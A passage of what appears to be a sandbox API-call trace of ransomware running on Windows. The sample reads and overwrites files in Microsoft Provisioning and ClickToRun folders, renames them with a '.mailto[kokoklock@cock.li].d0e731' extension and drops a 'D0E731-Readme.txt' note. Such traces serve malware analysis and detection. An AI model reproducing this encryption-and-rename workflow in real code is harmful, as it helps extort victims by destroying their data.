hFile=0x99c, lpBuffer=0x55dd588*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2d83fd24, lpOverlapped=0x0 | out: lpBuffer=0x55dd588*, lpNumberOfBytesWritten=0x2d83fd24*=0x20, lpOverlapped=0x0) returned 1 [0086.042] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd588) returned 1 [0086.042] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de100) returned 1 [0086.042] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0086.042] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0086.042] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd2c8) returned 1 [0086.042] WriteFile (in: hFile=0x99c, lpBuffer=0x55dd560*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2d83fd50, lpOverlapped=0x0 | out: lpBuffer=0x55dd560*, lpNumberOfBytesWritten=0x2d83fd50*=0x8, lpOverlapped=0x0) returned 1 [0086.042] WriteFile (in: hFile=0x99c, lpBuffer=0x2d83fd68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2d83fd50, lpOverlapped=0x0 | out: lpBuffer=0x2d83fd68*, lpNumberOfBytesWritten=0x2d83fd50*=0x4, lpOverlapped=0x0) returned 1 [0086.043] WriteFile (in: hFile=0x99c, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2d83fd50, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2d83fd50*=0x4, lpOverlapped=0x0) returned 1 [0086.043] WriteFile (in: hFile=0x99c, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2d83fd50, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2d83fd50*=0x6c, lpOverlapped=0x0) returned 1 [0086.043] WriteFile (in: hFile=0x99c, lpBuffer=0x55dd8f8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2d83fd50, lpOverlapped=0x0 | out: lpBuffer=0x55dd8f8*, lpNumberOfBytesWritten=0x2d83fd50*=0x20, lpOverlapped=0x0) returned 1 [0086.043] WriteFile (in: hFile=0x99c, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2d83fd50, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2d83fd50*=0x4, lpOverlapped=0x0) returned 1 [0086.043] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd8f8) returned 1 [0086.043] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd538) returned 1 [0086.043] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd560) returned 1 [0086.043] CloseHandle (hObject=0x99c) returned 1 [0086.043] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x184) returned 0x341a7f8 [0086.043] wcscpy (in: _Dest=0x341a7f8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\12__Connections_Cellular_Optus (Australia)_i3$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\12__Connections_Cellular_Optus (Australia)_i3$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\12__Connections_Cellular_Optus (Australia)_i3$(__MVID)@WAP.provxml" [0086.043] wcscat (in: _Dest=0x341a7f8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\12__Connections_Cellular_Optus (Australia)_i3$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\12__Connections_Cellular_Optus (Australia)_i3$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0086.043] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\12__Connections_Cellular_Optus (Australia)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\12__connections_cellular_optus (australia)_i3$(__mvid)@wap.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\12__Connections_Cellular_Optus (Australia)_i3$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\12__connections_cellular_optus (australia)_i3$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0086.044] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\12__Connections_Cellular_Optus (Australia)_i3$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0086.044] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341a7f8) returned 1 [0086.044] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\12__Connections_Cellular_Optus (Australia)_i3$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0086.045] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348af68 [0086.045] wcscpy (in: _Dest=0x348af68, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0086.045] wcscat (in: _Dest=0x348af68, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" [0086.045] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0086.045] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348af68) returned 1 [0086.045] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3495c88) returned 1 [0086.045] RtlExitUserThread (Status=0x1) Thread: id = 1304 os_tid = 0x119c [0085.391] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xdc) returned 0x34335a8 [0085.391] wcscpy (in: _Dest=0x34335a8, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}" [0085.391] wcscat (in: _Dest=0x34335a8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\" [0085.391] wcscat (in: _Dest=0x34335a8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\*") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\*" [0085.391] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f2b70 [0085.391] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\*", lpFindFileData=0x33f2b70 | out: lpFindFileData=0x33f2b70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85953409, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e0318 [0085.391] wcscmp (_String1=".", _String2=".") returned 0 [0085.391] FindNextFileW (in: hFindFile=0x33e0318, lpFindFileData=0x33f2b70 | out: lpFindFileData=0x33f2b70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85953409, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.391] wcscmp (_String1="..", _String2=".") returned 1 [0085.391] wcscmp (_String1="..", _String2="..") returned 0 [0085.391] FindNextFileW (in: hFindFile=0x33e0318, lpFindFileData=0x33f2b70 | out: lpFindFileData=0x33f2b70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3cb8e906, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3cb8e906, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{1A8308C7-90D1-4200-B16E-646F163A08E8}", cAlternateFileName="{1A830~1")) returned 1 [0085.391] wcscmp (_String1="{1A8308C7-90D1-4200-B16E-646F163A08E8}", _String2=".") returned 1 [0085.391] wcscmp (_String1="{1A8308C7-90D1-4200-B16E-646F163A08E8}", _String2="..") returned 1 [0085.391] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x126) returned 0x33e8968 [0085.391] wcscpy (in: _Dest=0x33e8968, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}" [0085.391] wcscat (in: _Dest=0x33e8968, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\" [0085.392] wcscat (in: _Dest=0x33e8968, _Source="{1A8308C7-90D1-4200-B16E-646F163A08E8}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}" [0088.651] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33e8968, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa48 [0088.651] FindNextFileW (in: hFindFile=0x33e0318, lpFindFileData=0x33f2b70 | out: lpFindFileData=0x33f2b70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3cb8e906, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3cb8e906, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{1A8308C7-90D1-4200-B16E-646F163A08E8}", cAlternateFileName="{1A830~1")) returned 0 [0088.651] FindClose (in: hFindFile=0x33e0318 | out: hFindFile=0x33e0318) returned 1 [0088.651] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f2b70) returned 1 [0088.651] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34335a8) returned 1 [0088.651] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3494a58) returned 1 [0088.652] RtlExitUserThread (Status=0x0) Thread: id = 1305 os_tid = 0x11b0 [0085.392] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime\\0__Power_Policy.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\prov\\runtime\\0__power_policy.provxml")) returned 0x20 [0085.392] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime\\0__Power_Policy.provxml", dwFileAttributes=0x20) returned 1 [0085.392] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime\\0__Power_Policy.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\prov\\runtime\\0__power_policy.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f0 [0085.393] GetFileSizeEx (in: hFile=0x5f0, lpFileSize=0x2d93f7b8 | out: lpFileSize=0x2d93f7b8*=1822) returned 1 [0085.393] SetFilePointerEx (in: hFile=0x5f0, liDistanceToMove=0x71a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.393] ReadFile (in: hFile=0x5f0, lpBuffer=0x2d93f78c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2d93f788, lpOverlapped=0x0 | out: lpBuffer=0x2d93f78c*, lpNumberOfBytesRead=0x2d93f788*=0x4, lpOverlapped=0x0) returned 1 [0085.401] SetFilePointerEx (in: hFile=0x5f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.401] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491808 [0085.401] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3493310 [0085.401] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492488 [0085.401] NtQuerySystemTime (in: CurrentTime=0x2d93f764 | out: CurrentTime=0x2d93f764*=132121176432891303) returned 0x0 [0085.401] RtlRandom (in: Seed=0x2d93f770 | out: Seed=0x2d93f770) returned 0x1d5b83d5 [0085.401] RtlRandom (in: Seed=0x2d93f770 | out: Seed=0x2d93f770) returned 0x71eda42f [0085.401] RtlRandom (in: Seed=0x2d93f770 | out: Seed=0x2d93f770) returned 0xcd4a14c0 [0085.401] RtlRandom (in: Seed=0x2d93f770 | out: Seed=0x2d93f770) returned 0x7a872ec9 [0085.401] RtlRandom (in: Seed=0x2d93f770 | out: Seed=0x2d93f770) returned 0xf0149d67 [0085.401] RtlRandom (in: Seed=0x2d93f770 | out: Seed=0x2d93f770) returned 0xfd7eaa61 [0085.401] RtlRandom (in: Seed=0x2d93f770 | out: Seed=0x2d93f770) returned 0xccbd5c84 [0085.401] RtlRandom (in: Seed=0x2d93f770 | out: Seed=0x2d93f770) returned 0x5ab95ff9 [0085.401] RtlRandom (in: Seed=0x2d93f770 | out: Seed=0x2d93f770) returned 0x675e6a82 [0085.401] RtlRandom (in: Seed=0x2d93f770 | out: Seed=0x2d93f770) returned 0xe925e306 [0085.401] RtlRandom (in: Seed=0x2d93f770 | out: Seed=0x2d93f770) returned 0x8d3e9793 [0085.401] RtlRandom (in: Seed=0x2d93f770 | out: Seed=0x2d93f770) returned 0xe5476d20 [0085.401] RtlRandom (in: Seed=0x2d93f770 | out: Seed=0x2d93f770) returned 0x4b89cafe [0085.402] RtlRandom (in: Seed=0x2d93f770 | out: Seed=0x2d93f770) returned 0x2962a91a [0085.402] RtlRandom (in: Seed=0x2d93f770 | out: Seed=0x2d93f770) returned 0x6e44e35 [0085.402] RtlRandom (in: Seed=0x2d93f770 | out: Seed=0x2d93f770) returned 0x7643fd14 [0085.402] RtlRandom (in: Seed=0x2d93f770 | out: Seed=0x2d93f770) returned 0x5f8985b9 [0085.402] RtlRandom (in: Seed=0x2d93f770 | out: Seed=0x2d93f770) returned 0xfd4faf7b [0085.402] RtlRandom (in: Seed=0x2d93f770 | out: Seed=0x2d93f770) returned 0xdafde3d9 [0085.402] RtlRandom (in: Seed=0x2d93f770 | out: Seed=0x2d93f770) returned 0xc8ed57c9 [0085.402] RtlRandom (in: Seed=0x2d93f770 | out: Seed=0x2d93f770) returned 0x3fb79a6f [0085.402] RtlRandom (in: Seed=0x2d93f770 | out: Seed=0x2d93f770) returned 0xdef74bc7 [0085.402] RtlRandom (in: Seed=0x2d93f770 | out: Seed=0x2d93f770) returned 0x20051768 [0085.402] RtlRandom (in: Seed=0x2d93f770 | out: Seed=0x2d93f770) returned 0x6ad4989d [0085.402] RtlRandom (in: Seed=0x2d93f770 | out: Seed=0x2d93f770) returned 0x6f0b3999 [0085.402] RtlRandom (in: Seed=0x2d93f770 | out: Seed=0x2d93f770) returned 0x71e51597 [0085.402] RtlRandom (in: Seed=0x2d93f770 | out: Seed=0x2d93f770) returned 0x14a88c6c [0085.402] RtlRandom (in: Seed=0x2d93f770 | out: Seed=0x2d93f770) returned 0x70e27ef6 [0085.402] RtlRandom (in: Seed=0x2d93f770 | out: Seed=0x2d93f770) returned 0x4e91aed0 [0085.402] RtlRandom (in: Seed=0x2d93f770 | out: Seed=0x2d93f770) returned 0x2173cee3 [0085.402] RtlRandom (in: Seed=0x2d93f770 | out: Seed=0x2d93f770) returned 0xa8c3edfa [0085.402] RtlRandom (in: Seed=0x2d93f770 | out: Seed=0x2d93f770) returned 0xf560c1e8 [0085.416] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480750) returned 1 [0085.416] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491808) returned 1 [0085.416] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd3e8 [0085.416] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347ff58 [0085.416] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491808 [0085.416] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491808) returned 1 [0085.416] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b8390 [0085.416] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55d8058 [0085.416] ReadFile (in: hFile=0x5f0, lpBuffer=0x34b8390, nNumberOfBytesToRead=0x71e, lpNumberOfBytesRead=0x2d93f764, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesRead=0x2d93f764*=0x71e, lpOverlapped=0x0) returned 1 [0085.417] SetFilePointerEx (in: hFile=0x5f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d93f72c | out: lpNewFilePointer=0x0) returned 1 [0085.417] WriteFile (in: hFile=0x5f0, lpBuffer=0x55d8058*, nNumberOfBytesToWrite=0x71e, lpNumberOfBytesWritten=0x2d93f760, lpOverlapped=0x0 | out: lpBuffer=0x55d8058*, lpNumberOfBytesWritten=0x2d93f760*=0x71e, lpOverlapped=0x0) returned 1 [0085.417] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491808 [0085.417] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4738 [0085.417] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4738) returned 1 [0085.417] WriteFile (in: hFile=0x5f0, lpBuffer=0x3491808*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2d93f75c, lpOverlapped=0x0 | out: lpBuffer=0x3491808*, lpNumberOfBytesWritten=0x2d93f75c*=0x20, lpOverlapped=0x0) returned 1 [0085.417] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491808) returned 1 [0085.417] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55d8058) returned 1 [0085.417] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0085.417] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347ff58) returned 1 [0085.417] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd3e8) returned 1 [0085.417] WriteFile (in: hFile=0x5f0, lpBuffer=0x3478e68*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2d93f788, lpOverlapped=0x0 | out: lpBuffer=0x3478e68*, lpNumberOfBytesWritten=0x2d93f788*=0x8, lpOverlapped=0x0) returned 1 [0085.417] WriteFile (in: hFile=0x5f0, lpBuffer=0x2d93f7a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2d93f788, lpOverlapped=0x0 | out: lpBuffer=0x2d93f7a0*, lpNumberOfBytesWritten=0x2d93f788*=0x4, lpOverlapped=0x0) returned 1 [0085.417] WriteFile (in: hFile=0x5f0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2d93f788, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2d93f788*=0x4, lpOverlapped=0x0) returned 1 [0085.417] WriteFile (in: hFile=0x5f0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2d93f788, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2d93f788*=0x6c, lpOverlapped=0x0) returned 1 [0085.418] WriteFile (in: hFile=0x5f0, lpBuffer=0x3493310*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2d93f788, lpOverlapped=0x0 | out: lpBuffer=0x3493310*, lpNumberOfBytesWritten=0x2d93f788*=0x20, lpOverlapped=0x0) returned 1 [0085.418] WriteFile (in: hFile=0x5f0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2d93f788, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2d93f788*=0x4, lpOverlapped=0x0) returned 1 [0085.418] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3493310) returned 1 [0085.418] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478ff8) returned 1 [0085.418] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478e68) returned 1 [0085.418] CloseHandle (hObject=0x5f0) returned 1 [0085.418] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x12e) returned 0x33e8a98 [0085.418] wcscpy (in: _Dest=0x33e8a98, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime\\0__Power_Policy.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime\\0__Power_Policy.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime\\0__Power_Policy.provxml" [0085.418] wcscat (in: _Dest=0x33e8a98, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime\\0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime\\0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731" [0085.418] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime\\0__Power_Policy.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\prov\\runtime\\0__power_policy.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime\\0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\prov\\runtime\\0__power_policy.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0085.419] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime\\0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0085.419] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e8a98) returned 1 [0085.419] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime\\0__Power_Policy.provxml", dwFileAttributes=0x20) returned 0 [0085.419] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348a9c8 [0085.419] wcscpy (in: _Dest=0x348a9c8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime\\" [0085.419] wcscat (in: _Dest=0x348a9c8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime\\D0E731-Readme.txt" [0085.419] GetFileAttributesW (lpFileName="C:\\Users\\All 